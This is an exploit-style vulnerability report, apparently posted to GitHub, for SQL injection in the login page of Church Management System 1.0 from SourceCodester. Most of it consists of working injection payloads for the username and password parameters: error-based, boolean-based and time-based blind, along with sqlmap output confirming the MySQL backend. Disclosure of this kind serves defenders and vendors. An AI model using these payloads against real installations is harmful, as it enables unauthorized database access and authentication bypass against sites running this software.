anx0ing Create Church Management System-SQL injections.md History

1 contributor

39 lines (16 sloc) | 738 Bytes

Church Management System-SQL injections

Date: 2022-08/06

Exploit Author: anx0ing@gmail.com

Vendor Homepage:

https://www.sourcecodester.com

Software Link:

https://www.sourcecodester.com/php/11206/church-management-system.html

Version: 1.0

/login.php

> `username`、`password` Parameters have SQL injection

payload

```
login=Login&password=admin&username=' OR (SELECT 7064 FROM(SELECT
COUNT(*),CONCAT(0x71627a7671,(SELECT
(ELT(7064=7064,1))),0x716b707871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- jURL
```

SQLMAP Test

```
sqlmap identified the following injection point(s) with a total of 277 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: login=Login&password=admin&username=-9582' OR 4579=4579#

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: login=Login&password=admin&username=' OR (SELECT 7064 FROM(SELECT COUNT(*),CONCAT(0x71627a7671,(SELECT (ELT
(7064=7064,1))),0x716b707871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- jURL

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: login=Login&password=admin&username=' AND (SELECT 9250 FROM (SELECT(SLEEP(5)))IqiY)-- lctR
---
[02:12:05] [INFO] the back-end DBMS is MySQL
[02:12:05] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch
 '--hex'
web application technology: PHP 7.4.3, Apache 2.4.39
back-end DBMS: MySQL >= 5.0
```